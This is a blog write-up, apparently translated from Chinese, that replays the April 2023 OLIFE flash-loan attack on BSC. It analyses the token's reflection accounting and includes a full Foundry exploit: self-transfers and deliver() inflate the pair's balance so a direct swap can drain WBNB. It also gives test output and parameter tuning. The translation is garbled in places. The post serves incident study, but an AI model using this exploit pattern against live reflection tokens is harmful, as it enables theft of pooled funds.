[Blockchain security - DEFI attack recurrence] 001-20230419 OLIFE

[Blockchain security - DEFI attack recurrence] 001-20230419 OLIFE


On April 19, 2023, the contract BSC on the chain was attacked, and it suffered a loss of about US$ . OLIFE 32 WBNB 10.6K

Attack introduction

On April 19, 2023, @BeosinAlerta warning was issued, BSCthe chain OLIFEwas attacked, causing approximately 32 WBNBlosses, and the attack hash was 0xa21692ffb561767a74a4cbd1b78ad48151d710efab723b1efa5f1e0147caab0a.


attack analysis

Still use phalcon for analysis.

The attacker 0xfb8ef8de849079559801bff8848178640cdd41b7calls the attack contract, first DPPOracleborrows through the flash loan 969 WBNB, and uses pancakeSwapit for exchange. There will be a judgment during the exchange, so that a certain tax rate will be _sendToCharitysent to _charitythe address (that is, to achieve the purpose of donation).

Because it is a large purchase, the pool will be sold out. OLIFEOnly (with a precision of 9) is left in the transaction pair 5583143203784247, and the attacker has 128100544485915659one.

But if you buy it back now, it will be a pure loss in handling fees.

But the attacker repeatedly transferred money to himself instead, and the number of his own tokens became less and less.

OLIFE合约中定义:
    uint256 private _tTotal = 260000000 * _DECIMALFACTOR;
    uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
    
因为是有收取手续费 11%,当然由于分红的存在,到手肯定大于89%
    uint256 private     _TAX_FEE = 300; // 3% BACK TO HOLDERS
    uint256 private    _BURN_FEE = 200; // 2% BURNED
    uint256 private _CHARITY_FEE = 600; // 6% TO CHARITY WALLET

At the beginning, I didn't understand the mechanism, and I felt a little confused, r、twhat is this pile of. After thinking about it, the recurrence and auditing is to start from scratch. Therefore, the OLIFE contract will be analyzed.

The important parameters are as follows:

    mapping (address => uint256) private _rOwned; //@todo 存储用户的rOwned 
    mapping (address => uint256) private _tOwned; //@todo 存储用户的tOwned 
    mapping (address => mapping (address => uint256)) private _allowances; (授权,不关心)
    mapping (address => bool) private _isExcluded; (黑名单)
    mapping (address => bool) private _isCharity;(白名单)
    address[] private _excluded; (黑名单列表)
    address[] private _charity; (白名单列表)
    
    uint256 private constant _MAX = ~uint256(0); (type(uint256).max
    uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
    uint256 private constant _GRANULARITY = 100;
    
    uint256 private _tTotal = 260000000 * _DECIMALFACTOR; //发行总量
    uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); // @todo
    
    uint256 private _tFeeTotal; // 手续费总量
    uint256 private _tBurnTotal; // 销毁总量
    uint256 private _tCharityTotal; // 捐献(白名单)总量

Analyze some functions, in order of appearance in the contract:

  • deliver
    
   @todo 现在还不知道deliver有什么用
    function deliver(uint256 tAmount) public { // tAmount 就是 tokenAmount
        address sender = _msgSender();
        require(!_isExcluded[sender], "Excluded addresses cannot call this function");
        (uint256 rAmount,,,,,,) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rTotal = _rTotal.sub(rAmount);
        _tFeeTotal = _tFeeTotal.add(tAmount);
    }
    
    接下来看看_getVaules(tAmount)
    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tFee, uint256 tBurn, uint256 tCharity) = _getTBasics(tAmount, _TAX_FEE, _BURN_FEE, _CHARITY_FEE); // 按照比例计算 分红、销毁、捐献的量
        uint256 tTransferAmount = getTTransferAmount(tAmount, tFee, tBurn, tCharity); // 减去损耗量
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rFee) = _getRBasics(tAmount, tFee, currentRate);
        uint256 rTransferAmount = _getRTransferAmount(rAmount, rFee, tBurn, tCharity, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn, tCharity);
    }
    
    计算rSupply与tSupply之比 
    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
    
    获取当前供应,除去黑名单中
    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); // 防止下溢
            rSupply = rSupply.sub(_rOwned[_excluded[i]]);
            tSupply = tSupply.sub(_tOwned[_excluded[i]]);
        }
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); // @todo
        return (rSupply, tSupply);
    }
    
    按比例通缩 Rvalue
    function _getRBasics(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        return (rAmount, rFee);
    }
    
    // 计算出R的值
    function _getRTransferAmount(uint256 rAmount, uint256 rFee, uint256 tBurn, uint256 tCharity, uint256 currentRate) private pure returns (uint256) {
        uint256 rBurn = tBurn.mul(currentRate);
        uint256 rCharity = tCharity.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn).sub(rCharity);
        return rTransferAmount;
    }
    
    
  • transfer
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "BEP20: transfer from the zero address");
        require(recipient != address(0), "BEP20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        // Remove fees for transfers to and from charity account or to excluded account
        bool takeFee = true;
        if (_isCharity[sender] || _isCharity[recipient] || _isExcluded[recipient]) {
            takeFee = false;
        }

        if (!takeFee) removeAllFee();
        
        if (sender != owner() && recipient != owner())
            require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
        
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferFromExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
            _transferToExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferStandard(sender, recipient, amount);
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
            _transferBothExcluded(sender, recipient, amount);
        } else {
            _transferStandard(sender, recipient, amount);
        }

        if (!takeFee) restoreAllFee();
    }
    
    
    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tCharity) = _getValues(tAmount);
        uint256 rBurn =  tBurn.mul(currentRate);
        uint256 rCharity = tCharity.mul(currentRate);     
        _standardTransferContent(sender, recipient, rAmount, rTransferAmount);
        _sendToCharity(tCharity, sender);
        _reflectFee(rFee, rBurn, rCharity, tFee, tBurn, tCharity);
        emit Transfer(sender, recipient, tTransferAmount);
    }
    
    // 这里rTotal为什么每次都扣的多一点?
    function _reflectFee(uint256 rFee, uint256 rBurn, uint256 rCharity, uint256 tFee, uint256 tBurn, uint256 tCharity) private {
        _rTotal = _rTotal.sub(rFee).sub(rBurn).sub(rCharity);
        _tFeeTotal = _tFeeTotal.add(tFee);
        _tBurnTotal = _tBurnTotal.add(tBurn);
        _tCharityTotal = _tCharityTotal.add(tCharity);
        _tTotal = _tTotal.sub(tBurn);
    }
   

The problem is here, when the exchange rate ratechanges, there will be no match in the sum , balanceOfand it can be verified through POC laterswapreserve

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }
    
    余额实际通过rAmount除以兑换比例
    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }
    

What consequences will this lead to? In swap, it is used balance1 = IERC20(_token1).balanceOf(address(this));to query the balance. If it does not match, there will be a difference. It looks like it has been passed in, but it has not been carried out. If it is used PancakeRouterin exchange, it must be required transferFrom, and this cannot be done.

function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
        require(amount0Out > 0 || amount1Out > 0, 'Pancake: INSUFFICIENT_OUTPUT_AMOUNT');
        (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
        require(amount0Out < _reserve0 && amount1Out < _reserve1, 'Pancake: INSUFFICIENT_LIQUIDITY');

        uint balance0;
        uint balance1;
        { // scope for _token{0,1}, avoids stack too deep errors
        address _token0 = token0;
        address _token1 = token1;
        require(to != _token0 && to != _token1, 'Pancake: INVALID_TO');
        if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
        if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
        if (data.length > 0) IPancakeCallee(to).pancakeCall(msg.sender, amount0Out, amount1Out, data);
        balance0 = IERC20(_token0).balanceOf(address(this));
        balance1 = IERC20(_token1).balanceOf(address(this));
        }
        uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
        uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
        require(amount0In > 0 || amount1In > 0, 'Pancake: INSUFFICIENT_INPUT_AMOUNT');
        { // scope for reserve{0,1}Adjusted, avoids stack too deep errors
        uint balance0Adjusted = (balance0.mul(10000).sub(amount0In.mul(25)));
        uint balance1Adjusted = (balance1.mul(10000).sub(amount1In.mul(25)));
        require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(10000**2), 'Pancake: K');
        }

        _update(balance0, balance1, _reserve0, _reserve1);
        emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
    }

POC writing

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : ~ 10.6K US$
// Event : Olife Hack
// Analysis via https://explorer.phalcon.xyz/tx/bsc/0xa21692ffb561767a74a4cbd1b78ad48151d710efab723b1efa5f1e0147caab0a
// Attacker : 0xfb8ef8de849079559801bff8848178640cdd41b7
// Attack Contract : 0xa9de288d61a7ed99cdd1109b051ef402d85a6b91
// Vulnerable Contract : 0xb5a0Ce3Acd6eC557d39aFDcbC93B07a1e1a9e3fa (OLIFE Contract)
// Vulnerable Contract : 0x915c2dfc34e773dc3415fe7045bb1540f8bdae84 (Pancake Swap Contract)
// Attack Tx : https://bscscan.com/tx/0xa21692ffb561767a74a4cbd1b78ad48151d710efab723b1efa5f1e0147caab0a

// @Info
// FlashLoan Attack, Price manipulation

// @Analysis
// DefiHackLab : https://twitter.com/BeosinAlert/status/1648520494516420608

address constant DPPORACLE_ADDRESS = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;
address constant WBNB_ADDRESS = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address constant OLIFE_ADDRESS = 0xb5a0Ce3Acd6eC557d39aFDcbC93B07a1e1a9e3fa;
address constant SWAP_ADDRESS = 0x915C2DFc34e773DC3415Fe7045bB1540F8BDAE84;
address payable constant PANCAKE_ROUTER = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);

uint256 constant BORROW_AMOUNT = 969 ether;
uint256 constant OLIFE_DECIMAL = 9;

contract OlifeHacker is Test {
    function setUp() public {
        vm.createSelectFork("bsc",27470678); // Go back before hacking time
        console.log("start with block %d",27470678);
        console.log("OlifeHacker address %s",address(this));
    }

    function testExploit() public {
        console.log("start hacking...");
        emit log_named_decimal_uint("[Start] Attacker WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);
        Exploit exploit = new Exploit();
        exploit.attack();
        console.log("finish hacking...");
        emit log_named_decimal_uint("[End] Attacker WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);
    }
}

contract Exploit is Test{

    address owner;

    constructor() {
        owner = msg.sender;
        console.log("Exploit address %s",address(this));
    }

    function attack() external {
        IDPPORACLE(DPPORACLE_ADDRESS).flashLoan(BORROW_AMOUNT, 0, address(this), "1");
    }

    function DPPFlashLoanCall(
        address sender,
        uint256 baseAmount,
        uint256 quoteAmount,
        bytes calldata data
    ) external{
        console.log("receiving flashLoan");
        emit log_named_decimal_uint("[Hacking] Exploit WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);

        uint112 balanceOfReserve;
        (balanceOfReserve,,) = IPancakePair(SWAP_ADDRESS).getReserves();
        emit log_named_decimal_uint("[Hacking] Pair OLIFE Reserve", balanceOfReserve, 9);
        emit log_named_decimal_uint("[Hacking] Pair OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(SWAP_ADDRESS), 9);
        IERC20(WBNB_ADDRESS).approve(PANCAKE_ROUTER,type(uint256).max);

        console.log("Swap WBNB for OLIFE");
        address[] memory paths = new address[](2);
        paths[0] = WBNB_ADDRESS;
        paths[1] = OLIFE_ADDRESS;

        IPancakeRouter(PANCAKE_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
            BORROW_AMOUNT,1,paths,address(this),block.timestamp *2
        );

        (balanceOfReserve,,) = IPancakePair(SWAP_ADDRESS).getReserves();
        emit log_named_decimal_uint("[Hacking] Pair OLIFE Reserve", balanceOfReserve, 9);
        emit log_named_decimal_uint("[Hacking] Pair OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(SWAP_ADDRESS), 9);
        emit log_named_decimal_uint("[Hacking] Exploit OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(address(this)), 9);


        for (uint i =0; i<27; i++){
            IERC20(OLIFE_ADDRESS).transfer(address(this),IERC20(OLIFE_ADDRESS).balanceOf(address(this)));
        }
  
        (balanceOfReserve,,) = IPancakePair(SWAP_ADDRESS).getReserves();
        emit log_named_decimal_uint("[Hacking] Pair OLIFE Reserve", balanceOfReserve, 9);
        emit log_named_decimal_uint("[Hacking] Pair OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(SWAP_ADDRESS), 9);
        emit log_named_decimal_uint("[Hacking] Exploit OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(address(this)), 9);

        console.log("deliver to reduce ramount");
    
        uint amount = IERC20(OLIFE_ADDRESS).balanceOf(address(this)) * 8 / 100 ;

        IOLIFE(OLIFE_ADDRESS).deliver(amount);
        emit log_named_decimal_uint("[Hacking] Pair OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(SWAP_ADDRESS), 9);
     
        (,uint target,) = IPancakePair(SWAP_ADDRESS).getReserves();
        IPancakePair(SWAP_ADDRESS).swap(0,target - 5 ether,address(this),"");

        emit log_named_decimal_uint("[Hacking] Exploit WBNB Balance", WBNB(WBNB_ADDRESS).balanceOf(address(this)), 18);
        WBNB(WBNB_ADDRESS).transfer(msg.sender, BORROW_AMOUNT + 1 ether);
        WBNB(WBNB_ADDRESS).transfer(owner, WBNB(WBNB_ADDRESS).balanceOf(address(this)));

    }

    fallback() external payable {

    }
}


/* -------------------- Interface -------------------- */
interface IDPPORACLE{
    function flashLoan(
        uint256 baseAmount,
        uint256 quoteAmount,
        address _assetTo,
        bytes calldata data
    ) external;
}

interface IOLIFE {
    function deliver(uint256 tAmount) external;
}

The results of the attack are as follows:

  start with block 27470678
  OlifeHacker address 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
  start hacking...
  [Start] Attacker WBNB Balance: 0.000000000000000000
  Exploit address 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
  receiving flashLoan
  [Hacking] Exploit WBNB Balance: 969.000000000000000000
  [Hacking] Pair OLIFE Reserve: 161703370.635833872
  [Hacking] Pair OLIFE Balance: 161703370.635833872
  Swap WBNB for OLIFE
  [Hacking] Pair OLIFE Reserve: 5583143.203784247
  [Hacking] Pair OLIFE Balance: 5583143.203784247
  [Hacking] Exploit OLIFE Balance: 148760274.602488242
  [Hacking] Pair OLIFE Reserve: 5583143.203784247
  [Hacking] Pair OLIFE Balance: 169245382.288347219
  [Hacking] Exploit OLIFE Balance: 193934561.084078243
  deliver to reduce ramount
  [Hacking] Pair OLIFE Balance: 1153758146.350903074
  [Hacking] Exploit WBNB Balance: 996.286315327689621042
  finish hacking...
  [End] Attacker WBNB Balance: 26.286315327689621042

How are the parameters selected here?

Our purpose is actually to Pair OLIFE Balancemake the bigger the better, but this does not mean that transferthe more the better, because the function here does not seem to be a linear process. Let's observe:

tokenFromReflection(_rOwned[account]) (_rOwned[account]没有变化)
= rAmount.div(currentRate); (rAmount是固定的) 就希望currentRate越小越好
= rAmount.div(rSupply.div(tSupply);)  因为transfer是rTotal每次都要扣得更多

因为rSupply,tSupply一定要满足
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);

Assuming 55 times transfer, respectively:

  self-transfering &d times 0
  [Hacking] Pair OLIFE Balance: 5965834.964275918
  self-transfering &d times 1
  [Hacking] Pair OLIFE Balance: 6377175.352939124
  self-transfering &d times 2
  [Hacking] Pair OLIFE Balance: 6819817.480508067
  self-transfering &d times 3
  [Hacking] Pair OLIFE Balance: 7296766.874557534
  self-transfering &d times 4
  [Hacking] Pair OLIFE Balance: 7811449.715751772
  self-transfering &d times 5
  [Hacking] Pair OLIFE Balance: 8367798.552698146
  self-transfering &d times 6
  [Hacking] Pair OLIFE Balance: 8970361.033315312
  self-transfering &d times 7
  [Hacking] Pair OLIFE Balance: 9624439.311732244
  self-transfering &d times 8
  [Hacking] Pair OLIFE Balance: 10336270.881927976
  self-transfering &d times 9
  [Hacking] Pair OLIFE Balance: 11113266.178492898
  self-transfering &d times 10
  [Hacking] Pair OLIFE Balance: 11964325.230947141
  self-transfering &d times 11
  [Hacking] Pair OLIFE Balance: 12900266.402288403
  self-transfering &d times 12
  [Hacking] Pair OLIFE Balance: 13934417.267808595
  self-transfering &d times 13
  [Hacking] Pair OLIFE Balance: 15083445.406949223
  self-transfering &d times 14
  [Hacking] Pair OLIFE Balance: 16368553.396109279
  self-transfering &d times 15
  [Hacking] Pair OLIFE Balance: 17817243.096601386
  self-transfering &d times 16
  [Hacking] Pair OLIFE Balance: 19466000.377918240
  self-transfering &d times 17
  [Hacking] Pair OLIFE Balance: 21364527.767709884
  self-transfering &d times 18
  [Hacking] Pair OLIFE Balance: 23582704.382275693
  self-transfering &d times 19
  [Hacking] Pair OLIFE Balance: 26222627.677106660
  self-transfering &d times 20
  [Hacking] Pair OLIFE Balance: 29440797.501546225
  self-transfering &d times 21
  [Hacking] Pair OLIFE Balance: 33492371.063995032
  self-transfering &d times 22
  [Hacking] Pair OLIFE Balance: 38829181.178559406
  self-transfering &d times 23
  [Hacking] Pair OLIFE Balance: 46350584.748422002
  self-transfering &d times 24
  [Hacking] Pair OLIFE Balance: 58199913.781211012
  self-transfering &d times 25
  [Hacking] Pair OLIFE Balance: 81421932.530785891
  self-transfering &d times 26
  [Hacking] Pair OLIFE Balance: 169245382.288347219
  self-transfering &d times 27
  [Hacking] Pair OLIFE Balance: 8565626.216194936
  self-transfering &d times 28
  [Hacking] Pair OLIFE Balance: 8601640.017488151
  self-transfering &d times 29
  [Hacking] Pair OLIFE Balance: 8633974.947322905
  self-transfering &d times 30
  [Hacking] Pair OLIFE Balance: 8662979.820952042
  self-transfering &d times 31
  [Hacking] Pair OLIFE Balance: 8688975.875408847
  self-transfering &d times 32
  [Hacking] Pair OLIFE Balance: 8712257.789790435
  self-transfering &d times 33
  [Hacking] Pair OLIFE Balance: 8733094.948348327
  self-transfering &d times 34
  [Hacking] Pair OLIFE Balance: 8751732.863050564
  self-transfering &d times 35
  [Hacking] Pair OLIFE Balance: 8768394.688696260
  self-transfering &d times 36
  [Hacking] Pair OLIFE Balance: 8783282.777911670
  self-transfering &d times 37
  [Hacking] Pair OLIFE Balance: 8796580.235477638
  self-transfering &d times 38
  [Hacking] Pair OLIFE Balance: 8808452.441568123
  self-transfering &d times 39
  [Hacking] Pair OLIFE Balance: 8819048.521808558
  self-transfering &d times 40
  [Hacking] Pair OLIFE Balance: 8828502.748805391
  self-transfering &d times 41
  [Hacking] Pair OLIFE Balance: 8836935.865172499
  self-transfering &d times 42
  [Hacking] Pair OLIFE Balance: 8844456.322295393
  self-transfering &d times 43
  [Hacking] Pair OLIFE Balance: 8851161.432322344
  self-transfering &d times 44
  [Hacking] Pair OLIFE Balance: 8857138.433324438
  self-transfering &d times 45
  [Hacking] Pair OLIFE Balance: 8862465.469373661
  self-transfering &d times 46
  [Hacking] Pair OLIFE Balance: 8867212.488577338
  self-transfering &d times 47
  [Hacking] Pair OLIFE Balance: 8871442.062986563
  self-transfering &d times 48
  [Hacking] Pair OLIFE Balance: 8875210.134855232
  self-transfering &d times 49
  [Hacking] Pair OLIFE Balance: 8878566.694038540
  self-transfering &d times 50
  [Hacking] Pair OLIFE Balance: 8881556.391445157
  self-transfering &d times 51
  [Hacking] Pair OLIFE Balance: 8884219.093443830
  self-transfering &d times 52
  [Hacking] Pair OLIFE Balance: 8886590.382011086
  self-transfering &d times 53
  [Hacking] Pair OLIFE Balance: 8888702.005222202
  self-transfering &d times 54
  [Hacking] Pair OLIFE Balance: 8890582.282456105

After 26 times, it began to fall off a cliff and grow slowly again. This is because at this time there is rSupply > _rTotal.div(_tTotal), so we choose 26, but it seems that it is not enough at this time?

[Hacking] Exploit OLIFE Balance: 193934561.084078243

Failing tests:
Encountered 1 failing test in src/test/POCYoung/001-Olife.sol:OlifeHacker
[FAIL. Reason: Pancake: K] 

That is, balanceit is not big enough at this time, so is there any other way? Yes, we can use deliverfunctions to reduce unilaterally rtotal. But still to find the best parameters:

在26次后进行逐渐`deliver`
        uint amount = IERC20(OLIFE_ADDRESS).balanceOf(address(this))/100;
        for (uint i=1; i< 100; i++){
            console.log("deliver &d times",i);
            IOLIFE(OLIFE_ADDRESS).deliver(amount);
            emit log_named_decimal_uint("[Hacking] Pair OLIFE Balance", IERC20(OLIFE_ADDRESS).balanceOf(SWAP_ADDRESS), 9);
        }

As long as it doesn't mutate, it will naturally be bigger and better. After testing, the current value is selected 8/100, so the POC is completed. (Actually, it’s a bit embarrassing. During the test, it was found that if a small batch of deliveries takes 1% of 99 times, this is because the rate also changes, which delays the growth. If it is delivered once, only 8% is enough).

Summarize

The developers who have nothing to say did not guarantee a decrease in year-on-year growth, and the hacker must have made many attempts (multiple on-chain interactions can push out the corresponding value), and they have indeed done a good job of preparation.

Guess you like

Origin blog.csdn.net/weixin_43982484/article/details/130397987